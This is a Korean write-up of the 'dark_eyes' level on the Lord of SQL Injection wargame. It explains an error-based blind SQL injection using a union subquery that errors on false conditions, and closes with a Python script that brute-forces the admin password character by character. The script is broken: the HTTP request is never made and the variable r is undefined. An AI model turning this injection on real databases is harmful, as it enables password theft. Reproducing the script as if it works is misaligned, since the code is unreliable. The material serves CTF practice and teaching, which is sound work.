Los Rubiya 22번 dark_eyes 풀이

21번 문제 iron golem이랑 비슷한 문제이다.

pw를 직접 입력해줘야하기 때문에 blind sql injection을 해야 하는데 admin으로 로그인 할때의 엔드포인트가 제시되어있지 않기 때문에 Time Based 혹은 Error based를 사용해야한다.

Time Based는 sleep과 benchmark둘다 필터링 되어있기에 사용하기 힘들 것 같다. 따라서 Error Based 를 사용해주어야 한다.

if문이 필터링 되어있기에 or문을 사용해주었다.

위와 같이 입력하면 select 1 union select 1=1일때 error가 안나고 select 1 union select 1=2일땐 error가 난다.

서브쿼리에서 결과값이 두개 이상 반환되면 에러가 나는데 1=1일 경우 True 즉, 1로 반환되기에 앞에 1과 같아서 결과값이 한개만 반환된다.

반대로 1=2일경우 0이 반환되기에 1과 0 둘다 반환되어 에러가 난다.

select 1 union select 2

select 1 union select 1

그래서 1=1자리에 substr함수를 써서 pw를 하나씩 구하면 된다.

from requests import get

host = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"

cookie = {"PHPSESSID" : "8uuql18ii0m14jkddb6rg0n58c"}

hexP = "ABCDEF1234567890"
password = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+"
pw = ""
i = 0

while True:
    i+=1
    for bit in password:
        query = f"%27%20or%20id='admin' and (select%201%20union%20select%20substr(pw,{i},1)='{bit}')--%09" 
        
        if "query" in r.text:
            pw+=bit
            print(pw)
            break
        if bit == '+':
            exit(0)